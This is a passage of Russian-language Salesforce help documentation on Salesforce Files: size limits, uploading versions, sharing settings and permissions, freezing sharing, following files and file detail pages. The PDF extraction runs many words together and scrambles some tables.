Заморозка предоставления общего доступа к файлу

Ограничения по размеру файлов в Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведены ограничения по размеру файлов в Salesforce.

Связанный
список
«Вложения»

Вкладка
«Документы»

Salesforce
Knowledge

Salesforce
CRM
Content

Salesforce
Files

Функция

5 Мб для
вложений

2 ГбМаксимальный
размер
файла

••• 25 Мбдля
файловых
вложений

5 Мб2 Гб

• •2 Гб
(включая
заголовки)
при
загрузке
посредством

20 Кб для
логотипа
настраиваемого
приложения

• 2 Гб для
вложений
ленты

Chatter
REST API

• 2 Гб
(включая
заголовки)
при
загрузке
посредством
REST API

• 38 Мб
при
загрузке
посредством
SOAP API

• 10 Мбдля
документов
Google

• 10 Мб
при
загрузке
посредством
Visualforce

Максимальный размер вложенного файла составляет 25 Мб (при добавлении прямо в связанный список).
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Общий максимальный размер всех файлов, вложенных в сообщение эл. почты, составляет 25 Мб; размер одного файла
не должен превышать 5 Мб.

СМ. ТАКЖЕ:

Загрузка файлов

Загрузка новой версии файла

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Вы всегда можете загрузить новую версиюфайла, чтобы гости и коллеги имели доступ
только к самому лучшему. Если исходныйфайл был загружен посредством сообщения
в ленте, воспользуйтесьфункцией «Загрузитьновуюверсию», чтобы заменитьфайл,
не создавая новое сообщение.

После загрузки все предыдущие версии файла будут заменены новой версией. Чтобы
просмотретьпредыдущиеверсии, щелкнитессылку«Показатьвсеверсии»настранице
сведений о файле.

1. Ссылка «Загрузить новую версию» доступна в ниже перечисленных областях:

• страница сведений о файле;

• страница предварительного просмотра файла;

• страницаФайлы (ссылка становится доступна при нажатии стрелки рядом с
файлом);

• файлвленте (ссылка становится доступнапринажатии стрелки «Дополнительныедействия» только в Salesforce
Classic).

2. Нажмите кнопку «Выбратьфайл» и выберите нужныйфайл на своем компьютере.

3. Вы также можете добавить примечание о произведенных изменениях в поле «Что изменилось?». Эти сведения
отображаются в списке «Журнал версии».

4. Щелкните ссылку «Загрузить новую версию» (Salesforce Classic) или «Начать загрузку» (Lightning Experience).

Обновленная версия файла будет доступна на странице сведений о файле и во всех предыдущих сообщениях.

Прим.:

• Загрузка новых версий файла доступна только ответственным, соавторам и пользователям с полномочием
«Изменение всех данных». Дополнительную информацию о том, кому и какие действия можно выполнять над
файлами, см. в разделе «Кто может просматривать мой файл».

• Если соавтор загружает новую версиюфайла, то ответственный за файл не меняется.

• Для загрузки новой версии файла Salesforce CRM Content не может использоваться страница сведений о файле.
Для этого щелкните «Перейти на страницу сведений о содержимом» и загрузите новую версиюфайла.
(Доступно только в Salesforce Classic.)

СМ. ТАКЖЕ:

Просмотр журнала версии файла

Отслеживание файла
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Обозреватели, поддерживающие пакетную загрузку файлов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Данные обозреватели поддерживают пакетную загрузку файлов на странице 3344 на
вкладке «Файлы», в списке группы «Файлы, используемые совместно с...» и в списке
профиля «Файлы, принадлежащие...». Если используемый обозреватель не
поддерживаетпакетнуюзагрузкуфайлов, тофайлымогутбытьзагруженыпоотдельности.

Дополнительные требованияОбозреватель

Рекомендуемиспользоватьпоследнююстабильнуюверсию.Google® Chrome™

Рекомендуемиспользоватьпоследнююстабильнуюверсию.Mozilla® Firefox®

Рекомендуем установить Adobe Flash Player 11 или более
поздней версии.

Internet® Explorer® 7, 8 или
9

Версия 5.1.xApple® Safari® для Mac

Кто может просматривать мой файл

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Файлыв Salesforce могутбытьличными, доступнымивчастномпорядкеилидоступными
всей компании. Узнайте, как установитьиизменитьпараметрыобщегодоступа кфайлу.

Втаблиценижерассмотреныпараметрыобщегодоступакфайлу, которыеопределяются
способом совместного использования файла. Параметр общего доступа и
соответствующий значок отображаются на странице сведений о файле и в списке
«Общий доступ с» на странице сведений о файле.

Файл является..., если...ОпределениеПараметр общего
доступа

Файл является личным, если:Данныйфайл является
личным. Ондоступентолько
ответственному. Поиск и

 «Личный»

• загружен на начальную
страницу «Файлы»

просмотр данного файла
• опубликован в личную

библиотеку;
доступны только
ответственному и

• синхронизирован
посредством папки
Salesforce Files Sync;

пользователям с
полномочием «Изменение
всех данных», кроме случаев
хранения файла в личной • отменен общий доступ с

другимипользователямибиблиотеке,
предоставляющей доступ
только ответственному.

(присвоен статус
личного);

• сообщения, содержащие
файл, удалены, а сам
файл нигде недоступен.
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Файл является..., если...ОпределениеПараметр общего доступа

Файл доступен в частном порядке, если:Данныйфайл доступен только
определенным пользователям, группам

 «Доступныйвчастномпорядке»

• используетсятолькоопределенными
пользователями или личной
группой;

или по ссылке. Он недоступен всем
пользователям в компании. Поиск и
просмотр данного файла доступны

• опубликован в личную группу;ответственному, пользователям с
• доступен по ссылке;полномочием «Изменениевсехданных»

или «Просмотр всех данных» и
некоторым гостям.

• опубликован в ленту для записи;

• опубликован в общедоступную
библиотеку.

Файл является публичным, если
опубликован в ленте, где его могут

Поиск и просмотр данного файла
доступны всем пользователям в
компании.

 «Публичный»

просматривать все пользователи, в
профиле, записи или общедоступной
группе.

В таблице ниже описаны действия, доступные пользователям на основе их полномочий.

ГостьСоавторОтветственный за файлДействие

ДаДаДаПросмотр или
предварительный
просмотр

ДаДаДаЗагрузка

ДаДаДаОбщий доступ

ДаДаДаДобавление файла в
сообщение

ДаДаДаСинхронизация файла

ДаДаЗагрузка новой версии

ДаДаРедактированиесведений

ДаДаИзменение полномочий

ДаОтмена общего доступа к
файлу

ДаОграничение доступа

ДаУдаление
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Прим.:

• Полномочие «Нет доступа» указывает на то, что файл доступен сотруднику компании для поиска и просмотра
только в том случае, если ему или личной группе с его участием предоставлен соответствующий доступ.

• Пользователи с полномочием «Изменение всех данных» могут просматривать, предоставлять или отменять
общий доступ, ограничивать доступ, загружать исходные и новые версии файлов, добавлять, редактировать,
удалять и открывать для предварительного просмотра файлы, принадлежащие другим пользователям. Тем не
менее, файлы из личных библиотек доступны только ответственным.

• Пользователисполномочием «Просмотрвсехданных» могутпросматриватьиоткрыватьдляпредварительного
просмотрафайлы, принадлежащиедругимпользователям. Темнеменее, файлыизличныхбиблиотекдоступны
только ответственным.

• Синхронизация файлов доступна пользователям только при наличии полномочия «Синхронизация файлов».

• Группы (включая участников) и записи могут просматривать файлы, опубликованные в их ленты.

• Полномочия для доступа к файлам, опубликованным в библиотеках, определяются библиотекой.

СМ. ТАКЖЕ:

Отмена общего доступа к файлу

Просмотр областей совместного использования файла

Заморозка предоставления общего доступа к файлу

Изменение полномочий для работы с файлами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Определяет пользователей, которым доступен просмотр и изменение файлов.

Ответственные и соавторы могут изменять полномочия отдельных пользователей или
групп для работы с файлами: гость может стать соавтором (или наоборот). Кроме того,
они могут изменить полномочия для файлов, используемых совместно с другими
сотрудниками компании. Доступные варианты: гость, соавтор и нет доступа.

• Гости могут просматривать, загружать и предоставлять общий доступ к файлам.

• Соавторымогутпросматривать, предоставлятьобщийдоступ, редактировать, изменять
полномочия для файла, а также загружать исходную и новые версии файла.

• Полномочие «Нетдоступа» указываетна то, чтофайлдоступенсотрудникукомпании
для поиска и просмотра только в том случае, если ему или личной группе с его
участием предоставлен соответствующий доступ.

Чтобы изменить полномочие для работы с файлом, выполните указанные ниже действия.

1. На странице сведений о файле щелкните ссылку «Опубликоватьфайл» > «Параметры общего доступа».

2. Найдите нужного пользователя или группу. Или измените полномочие для параметра «Любой пользователь
Chatter в компании».

3. Выберите пункт «Гость», «Соавтор» или «Нет доступа» в раскрывающемся списке «Полномочия» (для компании).
Изменение вступит в силу незамедлительно.

4. Нажмите кнопку «Закрыть».

Прим.:

• Файл является публичным, еслиопубликован в ленте, где егомогут просматривать все пользователи, в профиле,
записиилиобщедоступной группе.Поумолчаниюпараметру «Любой пользователь Chatter в компании»
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предоставляется полномочие гостя. Если полномочие «Гость» или «Соавтор» меняется на полномочие «Нет
доступа», то сотрудники компании и общедоступные группы теряют доступ к файлу.

• Припредоставленииобщегодоступакфайлупользователюавтоматическиназначаютсяполномочиясоавтора.
При предоставлении общего доступа группе ее участникам автоматически назначаются полномочия гостя.
Полномочия, назначенныепо умолчанию, могут быть измененыприпервоначальномпредоставлениидоступа
к файлу. Ответственные и соавторы могут изменять полномочия даже после предоставления доступа к файлу.

• Получатели данной ссылки могут только просматривать и загружать файлы. Изменение файлов не
поддерживается.

СМ. ТАКЖЕ:

Кто может просматривать мой файл

Отмена общего доступа к файлу

Заморозка предоставления общего доступа к файлу

Отмена общего доступа к файлу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Ответственныеипользователисполномочием «Изменениевсехданных»могутотменить
общий доступ к файлу и ссылке ( ). Файл, которому присваивается статус личного,
удаляется из всех сообщений, в которые он был добавлен, а также из всех областей, где
он был доступен для совместного использования. Данныйфайл будет доступен только
ответственномуипользователямсполномочием «Изменениевсехданных».Крометого,
ответственные и пользователи с полномочием «Изменение всех данных» могут
ограничить доступ к файлу, загруженному из библиотеки Salesforce CRM Content, чтобы
удалитьфайлиз всехобластей (кромебиблиотеки), гдеонбылдоступендля совместного
использования.

При предоставлении общего доступа к файлу посредством доставки содержимого
доставка становится недоступной, но не подлежит удалению. При предоставлении
общего доступа к файлу посредством параметра «Общий доступ по ссылке» в Chatter
ссылка на файл подлежит удалению.

1. На странице сведений о файле, доступ к которому должен быть ограничен, щелкните ссылку «Опубликовать
файл» > «Параметры общего доступа» или ссылку «Показать все» в списке «Общий доступ с».

2. В диалоговом окне «Параметры общего доступа» щелкните ссылку «Сделать личным» (или «Ограничить доступ»,
если файл был загружен из библиотеки Salesforce CRM Content).

3. В диалоговом окне подтверждения щелкните «Сделать личным» (или «Ограничить доступ»).

СМ. ТАКЖЕ:

Доступность сообщений

Просмотр областей совместного использования файла

Заморозка предоставления общего доступа к файлу
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Предоставление общего доступа к файлам группам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Предоставьте общедоступным или личным группам общий доступ к файлам в Chatter,
позволяющий участникам групп просматривать и загружать файлы из ленты.

Файл, опубликованный для совместного использования в личной или неуказанной
группе, доступентолькоучастникамэтойгруппы. Файл, опубликованныйдлясовместного
использования в общедоступной группе, доступен участникам этой группы и всем
пользователям Chatter в компании. By default, anyone who can see a file can share it.

Чтобыпредоставить группамChatterобщийдоступкфайлу, выполнитеуказанныениже
действия.

1. Ниже перечислены области, позволяющие предоставить общий доступ к файлу.

• На странице сведений о нужномфайле: щелкните «Параметры общего
доступа кфайлу» > «С группой...». При необходимостищелкните ссылку
«Показатьвсе» в списке «Общийдоступ с» ивыберите ссылку «Группы» в диалоговомокне «Параметрыобщего
доступа».

• Рядом с файлом в ленте: щелкните ссылку «Дополнительные действия» > «Параметры общего доступа к
файлу» и выберите ссылку «Группы» в диалоговом окне «Параметры общего доступа».

• Рядомсфайломна странице «Файлы», в списке «Файлыгруппы» или «Файлы, принадлежащие...»: щелкните ссылку

«Общий доступ с группами».

• Вокне, всплывающемпринаведенииуказателямышинаимяфайла: щелкните ссылку «Опубликоватьфайл»
и выберите ссылку «Группы» в диалоговом окне «Параметры общего доступа».

• В папке Salesforce Files Sync на рабочем столе: правой кнопкой мышищелкните нужныйфайл, выберите параметр
«Salesforce Files Sync», а затем выберите «Общий доступ с группами».

2. Начните вводить имя нужной группы, а затем выберите ее имя из списка предложенных результатов. Чтобы выбрать
несколько групп, повторите данное действие.

3. Выберите уровни доступа для каждой группы. По умолчанию личной группе задается уровень доступа «Соавтор», а
общедоступной группе — уровень доступа «Гость».

4. При необходимости добавьте сообщение. Чтобы отправить людям и группам соответствующее уведомление и
опубликовать файл в их лентах, дополните сообщение @упоминанием.

5. Нажмите кнопку «Опубликовать», а затем кнопку «Закрыть». Файл публикуется во все выбранные и @упомянутые
группы.

Если личныйфайл становится доступным для личной или неуказанной группы, то ему присваивается статус файла,
доступного в частном порядке; при этом отображается соответствующий значок ( ). Этот файл публикуется в ленту
группы и доступен для поиска и просмотра только ответственному и участникам группы. Файл, опубликованный в

общедоступную группу, становится публичным; при этом отображается соответствующий значок ( ), а сам файл
публикуется в ленту группы.

Чтобы отменить доступ определенного пользователя или группы к файлу, щелкните напротив нужного имени в
диалоговом окне «Параметры общего доступа».

Прим.:

• Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed on Files home
and can't be shared as Salesforce Files.

• Content files may be shared with more people than shown in Share with People if they are part of a content pack or delivery.
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• Файл может быть опубликован не более 100 раз. Данное ограничение распространяется на файлы, доступ к
которым предоставлен людям, группам и по ссылке. Файл, доступный в частном порядке и опубликованный
почти 100 раз, желательно опубликовать в ленту для общего доступа.

СМ. ТАКЖЕ:

Списки «Файлы группы»

Просмотр областей совместного использования файла

Предоставление пользователям общего доступа к файлам в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Предоставьте пользователям общий доступ к файлам в частном порядке и назначьте
уровень доступа «Гость» или «Соавтор» каждому выбранному пользователю.

Файл, доступккоторомупредоставленвчастномпорядке, можетпросматриватьсятолько
определенными пользователями в компании. Публикация файла доступна любому
просматривающему его пользователю.

Чтобыпредоставить одному илинесколькимпользователям в компанииобщий доступ
к файлу, выполните указанные ниже действия.

1. Ниже перечислены области, позволяющие предоставить общий доступ к файлу.

• На странице сведений о нужномфайле щелкните «Параметры общего
доступа кфайлу» > «Общий доступ для пользователей». Или нажмите
«Параметрыобщегодоступа»ивыберите«Пользователи»вдиалоговомокне
«Параметры общего доступа».

• Рядом с файлом в ленте: щелкните ссылку «Дополнительные действия» > «Параметры общего доступа к
файлу» и выберите ссылку «Люди» в диалоговом окне «Параметры общего доступа».

• Рядом с файлом на начальной странице «Файлы» щелкните «Общий доступ для пользователей».

• Вокне, всплывающемпринаведенииуказателямышинаимяфайла, щелкните ссылку «Опубликоватьфайл»
и выберите ссылку «Пользователи» в диалоговом окне «Параметры общего доступа».

• В папке Salesforce Files Sync на рабочем столе: правой кнопкой мышищелкните нужныйфайл, выберите параметр
«Salesforce Files Sync», а затем выберите «Общий доступ с людьми».

2. Начните вводить имя нужного пользователя, а затем выберите его имя из списка предложенных результатов. .

3. Выберите необходимые полномочия для файла. По умолчанию этому пользователю будет назначено полномочие
соавтора, позволяющее просматривать, предоставлять общий доступ, редактировать, загружать исходные и новые
версии файлов и изменять полномочия. При необходимости выберите полномочие «Гость», позволяющее только
просматривать, загружать и предоставлять общий доступ к файлам.

4. Если нужно предоставить общий доступ нескольким пользователям, введите несколько имен.

5. При необходимости введите сообщение, которое будет отправлено получателям.

6. Нажмите кнопку «Опубликовать», а затем кнопку «Закрыть». Получатели получат сообщение с уведомлением о
предоставленииимобщегодоступакфайлувместе со ссылкойна этотфайл. Пользователи Lightning Experienceполучат
это сообщение в виде электронного уведомления. Пользователи Salesforce Classic получат личное сообщение Chatter,
доступноена странице «Моисообщения» на вкладке «Chatter», а также электронное уведомление, еслидля сообщений
Chatter включены такие уведомления.
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Если файл не является публичным, значит, он доступен в частном порядке и для него отображается соответствующий
значок ( ). Данныйфайл больше нигде не публикуется и доступен для поиска и просмотра только определенным

пользователям. Если файл является публичным, отображается соответствующий значок ( ). Данныйфайл доступен
для поиска и просмотра всем пользователям в компании.

Чтобы отменить доступ определенного пользователя или группы к файлу, щелкните напротив нужного имени в
диалоговом окне «Параметры общего доступа».Если требуется, чтобы другие пользователи не могли устанавливать лиц,
которымдоступенфайл, выберитеНепозволятьдругимпользователямпредоставлятьобщийдоступилиотменять
его.

Прим.:

• Документы, доступные на вкладке «Документы», и вложения из связанного списка «Примечания и вложения» не
отображаютсянаначальнойстранице «Файлы» инедоступныдлясовместногоиспользованиявкачестве Salesforce
Files.

• Файлы, являющиеся частью пакета или доставки содержимого, могут быть доступны большему количеству
пользователей, чем отображается в диалоговом окне «Общий доступ дял пользователей».

• Файл может быть опубликован не более 100 раз. Данное ограничение распространяется на файлы, доступ к
которым предоставлен людям, группам и по ссылке. Файл, доступный в частном порядке и опубликованный
почти 100 раз, желательно опубликовать в ленту для общего доступа.

СМ. ТАКЖЕ:

Просмотр областей совместного использования файла

Предоставление общего доступа к файлам библиотекам

Чтобы воспользоваться преимуществами настройки полномочий для библиотек содержимого при использовании
возможностей Salesforce Files, предоставьте библиотекам общий доступ к файлам.

При включении даннойфункции администратором организации библиотеке может быть предоставлен общий доступ
к любому файлу. Вкладка «Библиотеки» системы Salesforce содержит библиотеки компании, а также назначенные им
полномочия. Параметр «Общий доступ с библиотекой» в Chatter позволяет предоставлять библиотеке общий доступ
к файлам Chatter, используя набор полномочий для библиотеки.

Прим.: Дляпредоставлениябиблиотекамобщегодоступакфайламнеобходимособлюдатьследующиетребования.

• Страница сведений о пользователе содержит включенный параметр «Пользователь Salesforce CRM Content».
Этот параметр включает администратор.

• Организация содержит включенный параметр «Пользовательский интерфейсфайлов разрешает
предоставление библиотекам общего доступа кфайлам». Администратор может включить этот параметр
на странице Salesforce CRM Content в меню «Настройка».

1. Щелкните значок напротив нужного файла на вкладке «Файлы».

2. Выберите параметр «Общий доступ с библиотекой». При наличии ссылок на внешние файлы (только для
пользователей Files Connect) выберитепараметр«Опубликоватьссылку», а затемвыберите«Библиотека»вдиалоговом
окне «Параметры общего доступа».

3. Выполните одно из указанных ниже действий.

• При отображении диалогового окна «Опубликовать содержимое в различные библиотеки»файл уже
управляется библиотекой. Выберите как минимум одну дополнительную библиотеку и нажмите кнопку
«Опубликовать».
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• Приотображениисообщения-подтверждения«Общийдоступкфайламсбиблиотекой»общийдоступкфайлу
предоставлен пользователям, имеющим уровень доступа «Соавтор», либо файл синхронизирован. При
продолжениисоавторамипользователям, синхронизировавшимфайл, будетпредоставлентолькоуровеньдоступа
«Гость». (Доступ для редактирования может быть предоставлен администратором библиотеки позже.) Чтобы
продолжить, нажмите кнопку «Опубликовать». В противном случае, нажмите кнопку «Отмена».

• Приотображениидиалоговогоокна «Опубликоватьсодержимое» введите заголовокфайла. Выберитенужную
библиотеку и введите любые теги в качестве метаданных. Выберите нужный тип записи, введите любую
дополнительную информацию и нажмите кнопку «Опубликовать».

Теперьфайлотображаетсянавкладке«Библиотеки»ивразделе«Файлывмоихбиблиотеках»вкладки«Файлы».

Заморозка предоставления общего доступа к файлу

ВЕРСИИ

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для доступа к странице
сведений о содержимом:
• «Пользователь

Salesforce CRM Content»

Заморозка предоставления общего доступа к файлу препятствует предоставлению
общего доступа к файлу без влияния на текущие общие доступы. Если организация
поддерживает Salesforce CRM Content, а администратор дополняет макет страницы,
используемый для файлов содержимого, полем «Заморозить предоставление общего
доступа», то ответственные за файлы и администраторы с уровнем доступа «Соавтор»
могут замораживать предоставление общего доступа к файлам.

• Организация должна поддерживать Salesforce CRM Content.

• Администратор должен добавить поле «Заморозить предоставление общего
доступа» в макет страницы, используемый для страницы сведений о содержимом.

1. Найдите нужныйфайл на вкладке «Файлы». Чтобы открыть страницу сведений о
файле, щелкните имя файла. Щелкните «Перейти на страницу сведений о
содержимом». (При хранении файла в библиотеке откройте страницу сведений о
содержимом посредством вкладки «Библиотеки».)

2. Установите флажок «Заморозить предоставление общего доступа».

3. Нажмите кнопку «Сохранить».

Пример: Например, пользовательпубликуетфайлв Chatter ипредоставляетличнойгруппеобщийдоступкданному
файлу. Пользователь хочет запретить участникам данной группы дальнейшее предоставление общего доступа к
файлу. Пользователь может заморозить предоставление общего доступа к файлу без удаления текущих общих
доступов; новые общие доступы могут быть добавлены только пользователем или администратором.

При необходимости заморозьте предоставление общего доступа к файлу посредством API (путем использования поля
SharingOption объекта ContentVersion и других объектов).
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Предоставление пользователям общего доступа к файлам в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition, Contact
Manager Edition и
Developer Edition.

Предоставьте пользователям общий доступ к файлам в частном порядке и назначьте
уровень доступа «Гость» или «Соавтор» каждому выбранному пользователю.

Файл, доступккоторомупредоставленвчастномпорядке, можетпросматриватьсятолько
определенными пользователями в компании. Публикация файла доступна любому
просматривающему его пользователю.

Чтобыпредоставить одному илинесколькимпользователям в компанииобщий доступ
к файлу, выполните указанные ниже действия.

1. Ниже перечислены области, позволяющие предоставить общий доступ к файлу.

• Рядомсфайломнаначальнойстранице «Файлы» щелкните «Общийдоступ».

• На странице сведений о файле, к которому предоставляется общий доступ,
нажмите «Опубликовать».

•
В окне предварительного просмотра файла выберите

2. Начните вводить имя нужного пользователя, а затем выберите его имя из списка предложенных результатов. Чтобы
предоставить доступ нескольким пользователям, введите их имена.

3. Выберите необходимые полномочия для файла. По умолчанию этому пользователю будет назначено полномочие
соавтора, позволяющее просматривать, предоставлять общий доступ, редактировать, загружать исходные и новые
версии файлов и изменять полномочия. При необходимости выберите полномочие «Гость», позволяющее только
просматривать, загружать и предоставлять общий доступ к файлам.

4. При необходимости введите сообщение, которое будет отправлено получателям.

5. Нажмите кнопку «Опубликовать», а затем кнопку «Закрыть». Получатели получат сообщение с уведомлением о
предоставленииимобщегодоступакфайлувместе со ссылкойна этотфайл. Пользователи Lightning Experienceполучат
это сообщение в виде электронного уведомления. Пользователи Salesforce Classic получат личное сообщение Chatter,
доступное на странице «Мои сообщения» на вкладке Chatter, а также электронное уведомление, если для сообщений
Chatter включены такие уведомления.

Чтобы отменить доступ определенного пользователя или группы к файлу, щелкните напротив нужного имени в
диалоговом окне «Параметры общего доступа».

В окне «Предоставление общего доступа к файлу» выберите «Пользователи, имеющие доступ» для просмотра всех
пользователей, которым предоставлен общий доступ. Чтобы отменить общий доступ к файлу, измените полномочия
дляфайла или нажмите кнопку «Х» рядом с именем соответствующего пользователя или группы. Если требуется, чтобы
другиепользователинемоглиустанавливатьлиц, которымдоступенфайл, выберитеНепозволятьдругимпользователям
предоставлять общий доступ или отменять его.

Прим.:

• Документы, доступные на вкладке «Документы», и вложения из связанного списка «Примечания и вложения» не
отображаютсянаначальнойстранице «Файлы» инедоступныдлясовместногоиспользованиявкачестве Salesforce
Files.

• Файлы, являющиеся частью пакета или доставки содержимого, могут быть доступны большему количеству
пользователей, чем отображается в диалоговом окне «Общий доступ дял пользователей».

• Файл может быть опубликован не более 100 раз. Данное ограничение распространяется на файлы, доступ к
которым предоставлен людям, группам и по ссылке. Файл, доступный в частном порядке и опубликованный
почти 100 раз, желательно опубликовать в ленту для общего доступа.
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Просмотр обновлений файла в ленте

Отслеживание файла

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group
Edition, Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition, Contact
Manager Edition и
Developer Edition.

Отслеживание файла позволяет просматривать обновления в ленте Chatter, включая
загрузку новой версии файла. Отмена отслеживания файла сохраняет файл в списке
«Файлы», но препятствует отображению соответствующих обновлений в ленте
пользователя.

Щелкните значок + «Отслеживать» для начала отображения обновлений или значок
x «Отменитьотслеживание»дляотменыотображенияобновлений.Прииспользовании
Lightning Experience отслеживание файла может быть начато на странице сведений о
файле. При использовании Salesforce Classic отслеживание файла может быть начато в
ленте, на странице сведений о файле или в списке файлов.

Прим.: Параметр для отслеживания файлов доступен только в организациях,
которые используют Chatter.

СМ. ТАКЖЕ:

Загрузка новой версии файла

Просмотр журнала версии файла

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Номертекущейверсиифайлаотображаетсянастраницесведенийофайле. Просмотрите
список «Журнал версий» для ознакомления со всеми версиями загруженного файла,
включая текущую версию. Файлы в этом списке доступны для загрузки. Кроме того,
можно просмотреть их описание, а также дату и автора обновления. Номер текущей
версии файла отображается на странице сведений о файле.

СМ. ТАКЖЕ:

Загрузка новой версии файла

Отслеживание файла

Рекомендации по файлам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Chatter рекомендует файлы для отслеживания исходя из их популярности, которая
определяется по количеству пользователей, просмотревших или загрузивших данные
файлы. Чтобы просмотреть расширенный список рекомендаций, щелкните ссылку
«Дополнительно» в разделе «Рекомендации». Если рекомендации не отображаются,
следовательно, пользователь уже отслеживает все рекомендованные файлы.

СМ. ТАКЖЕ:

Отслеживание файла
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Предварительные просмотры и сведения о файлах

Просмотр сведений о файле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Чтобы открыть страницу сведений о файле, щелкните имя файла в ленте, в списке
файлов, вокне, всплывающемпринаведенииуказателямышинаимяфайла, илинажмите
«Дополнительные действия» > «Предварительный просмотр» напротив нужного
файла в ленте. На странице сведений о файле можно просмотреть сведения о файлах
Salesforce.

Ниже перечислены действия, доступные на странице сведений о файле.

• Просмотрите файл без его загрузки. Воспользуйтесь стрелками в средстве
предварительногопросмотрадокументадляпросмотракаждойстраницы, увеличения
или уменьшения, а также для изменения ширины предварительного просмотра и
размера экрана. Предварительный просмотр файла доступен соответствующему
ответственному и тем пользователям, которым был предоставлен доступ к этому
файлу.

Прим.: Некоторые файлы недоступны для предварительного просмотра (например, зашифрованные файлы;
файлы, защищенныепаролем; PDF-документы, защищенныеоткопирования; неизвестныетипыфайловифайлы
размером более 25 Мб). Для этих файлов параметр «Предварительный просмотр» недоступен в лентах и
списковых представлениях. Файлы, просмотр которых невозможен, отмечены в ленте значками групповых
файлов. Некоторыефункции Microsoft Office 2007 отображаютсянекорректноприпредварительномпросмотре.
Еслифайлподдерживаетпредварительныйпросмотр, нопредварительныйпросмотрне существует, обратитесь
к администратору Salesforce, который поможет восстановить предварительный просмотр.

• Определите, является ли файл личным ( ), доступным в частном порядке ( ) или публичным ( ).

• Чтобы открыть или сохранить файл, щелкните ссылку «Загрузить». Загрузка файла доступна любому
просматривающему его пользователю.

• Чтобы предоставить доступ к файлу определенным людям, группам или по ссылке, либо открыть диалоговое окно
«Параметры общего доступа», щелкните «Параметры общего доступа кфайлу». Публикация файла доступна
любому просматривающему его пользователю.

• Чтобыудалитьфайлиссылкунафайлизобластей, гдеонибылидоступныдля совместногоиспользования, щелкните
«Сделать личным» в диалоговом окне «Параметры общего доступа». Чтобы удалить файл из областей, где он был
доступен для совместного использования, кроме библиотеки, щелкните ссылку «Ограничить доступ» (если файл
былзагруженизбиблиотекиSalesforce CRM Content).Толькоответственныеипользователисполномочием «Изменение
всех данных» могут делать файлы личными ( ) или ограничивать доступ.

• Щелкните ссылку «Загрузить новую версию», чтобы обновить текущую версиюфайла. Загрузка новых версий
файла доступна только ответственным, соавторам и пользователям с полномочием «Изменение всех данных».

• Щелкнитессылку «Редактироватьсведения», чтобыизменитьимяилиописаниефайла. Редактированиесведений
доступно только ответственным, соавторам и пользователям с полномочием «Изменение всех данных».

• Приналичииполномочия «Синхронизацияфайлов» иответственностизафайлщелкните «Синхронизировать»
для синхронизациифайламеждупапкой Salesforce Files Syncна компьютереиChatter. Чтобыотменить синхронизацию
файла, щелкните «Отменить синхронизацию».

• Щелкните ссылку «Удалить», чтобы удалить файл. Удаление файлов доступно только ответственным и
пользователям с полномочием «Изменение всех данных».

• Просмотрите, кто несет ответственность за данныйфайл и время его последнего изменения.
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• Просмотрите описание файла и щелкните значок редактирования ( ), чтобы изменить описание, или ссылку
«Добавить описание», чтобы добавить описание.

• Просмотрите номер текущей версиифайла ищелкните ссылку «Показать все версии», чтобыпросмотретьжурнал
версии для этого файла.

• Чтобыпросмотреть сведения офайле (например, количество загрузок, публикаций, предпочтенийи комментариев),

щелкните ссылку «Показать отчет пофайлам». Ссылка «Показать отчет пофайлам» отображается
пользователям только при наличии полномочий «Запуск отчетов» и «Просмотр отчетов в общедоступных папках».

• Щелкните «Отслеживать», чтобы начать отслеживание файла, или , чтобы отменить его отслеживание.

• Просмотрите пользователей, отслеживающих данныйфайл.

• Просмотрите где и кому доступен данныйфайл.

• Если файл был загружен из Salesforce CRM Content, щелкните «Перейти на страницу сведений о содержимом»,
чтобы просмотреть страницу сведений о содержимом для этого файла. Основные действия над файлом Salesforce
CRM Contentдолжнывыполнятьсяна страницесведенийосодержимомдлясоответствующегофайла, анена странице
сведений об этом файле.

• Чтобы открыть список «Файлы» или страницу Chatter, щелкните ссылку «Файлы» или «Chatter» вверху страницы.

• Просмотрите другие файлы, которые открывались пользователями наряду с даннымфайлом. Страница сведений о
файле содержит раздел «Также люди просматривали» только при наличии других просмотренных файлов.

СМ. ТАКЖЕ:

Просмотр журнала версии файла

Просмотр областей совместного использования файла

Редактирование сведений о файле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
